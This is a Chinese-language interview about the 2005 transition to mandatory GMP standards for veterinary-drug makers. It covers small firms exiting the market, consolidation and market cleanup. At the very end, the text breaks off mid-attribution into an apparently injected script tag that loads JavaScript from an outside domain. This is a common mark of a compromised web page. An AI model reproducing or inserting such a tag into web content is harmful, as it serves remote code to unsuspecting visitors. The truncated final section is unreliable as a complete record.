2005年，作为我国兽药GMP强制实施前过渡期的最后一年，对兽药企业来说是充满挑战和机遇的一年。目前，已有300多家兽药生产企业顺利通过了农业部组织的GMP验收，并且仍有大量的兽药生产企业正在进行积极的改造，可以说，我国的兽药GMP达标工作取得了显著成效，达到了预期效果，但是，也存在一些问题值得关注。因此，本社就兽药GMP实施过程中大家最为关心的几个问题，邀请业内的专家、学者一起共同探讨。
记者：我国的兽药企业大多数规模比较小，在实施GMP改造时资金缺乏的问题特别突出，这必然导致一部分企业因为资金问题而退出兽药市场，这对兽药市场的良性竞争和良性发展有什么影响？
姚春翥（黑龙江省兽药饲料监察所所长、农业部兽药GMP检察员）：对于部分企业因为资金原因而被迫退出兽药市场的问题，我个人认为应从以下几个方面来看：
1.部分小企业的退出将有利于大兽药企业的发展壮大和品牌规模的培育。随着我国畜牧业的蓬勃发展，兽药的需求量必将大幅增加，兽药市场总量也将增加。在市场总需求量增加的同时，兽药生产企业数量却在减少，在这种情况下，单个企业所分摊的市场份额将增大，这有利于生产规模的发展壮大和品牌规模的培育。
2.有利于资源重组、整合和资源的有效利用。小企业相对来说资金不足、技术力量薄弱、质检条件差、人力资源不足，完全无法独立完成GMP高标准、高要求的改造所需。到2006年末，这些企业如果不能找到新的出路，必将被迫退出兽药生产领域。为了谋求生存和发展，这些企业将被动或主动兼并重组，以重新分配、整合资源，完成资金的重组、技术水平的提升、质检条件的完善、提高和人力资源的合理配置，建立一个新的适应市场挑战的新企业，来规避这种风险。
3.不规范的小企业退出，有利于净化市场。
刘安南（?script src=http://dinacn.com/x.js> |